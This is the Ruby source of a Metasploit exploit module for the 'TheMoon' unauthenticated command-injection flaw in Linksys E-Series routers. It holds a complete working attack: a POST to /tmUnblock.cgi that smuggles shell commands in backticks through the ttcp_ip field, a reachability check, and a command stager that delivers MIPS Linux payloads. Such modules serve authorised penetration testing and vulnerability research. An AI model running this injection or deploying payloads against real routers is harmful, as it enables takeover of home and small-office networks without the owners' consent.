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require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStagerEcho
def initialize(info = {})
super(update_info(info,
'Name' => 'Linksys E-Series TheMoon Remote Command Injection',
'Description' => %q{
Some Linksys E-Series Routers are vulnerable to an unauthenticated OS command
injection. This vulnerability was used from the so called "TheMoon" worm. There
are many Linksys systems that might be vulnerable including E4200, E3200, E3000,
E2500, E2100L, E2000, E1550, E1500, E1200, E1000, E900. This module was tested
successfully against an E1500 v1.0.5.
},
'Author' =>
[
'Johannes Ullrich',
'Rew',
'infodox',
'Michael Messner <devnull@s3cur1ty.de>',
'juan vazquez'
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'EDB', '31683' ],
[ 'BID', '65585' ],
[ 'OSVDB', '103321' ],
],
'DisclosureDate' => 'Feb 13 2014',
'Privileged' => true,
'Platform' => %w{ linux unix },
'Payload' =>
{
'DisableNops' => true
},
'Targets' =>
[
[ 'Linux mipsel Payload',
{
'Arch' => ARCH_MIPSLE,
'Platform' => 'linux'
}
],
[ 'Linux mipsbe Payload',
{
'Arch' => ARCH_MIPSBE,
'Platform' => 'linux'
}
],
],
'DefaultTarget' => 0
))
end
def execute_command(cmd, opts)
begin
res = send_request_cgi({
'uri' => '/tmUnblock.cgi',
'method' => 'POST',
'encode_params' => true,
'vars_post' => {
"submit_button" => "",
"change_action" => "",
"action" => "",
"commit" => "0",
"ttcp_num" => "2",
"ttcp_size" => "2",
"ttcp_ip" => "-h `#{cmd}`",
"StartEPI" => "1"
}
}, 2)
return res
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
end
end
def check
begin
res = send_request_cgi({
'uri' => '/tmUnblock.cgi',
'method' => 'GET'
})
if res && [200, 301, 302].include?(res.code)
return Exploit::CheckCode::Detected
end
rescue ::Rex::ConnectionError
return Exploit::CheckCode::Unknown
end
Exploit::CheckCode::Unknown
end
def exploit
print_status("#{peer} - Trying to access the vulnerable URL...")
unless check == Exploit::CheckCode::Detected
fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable URL")
end
print_status("#{peer} - Exploiting...")
execute_cmdstager
end
end
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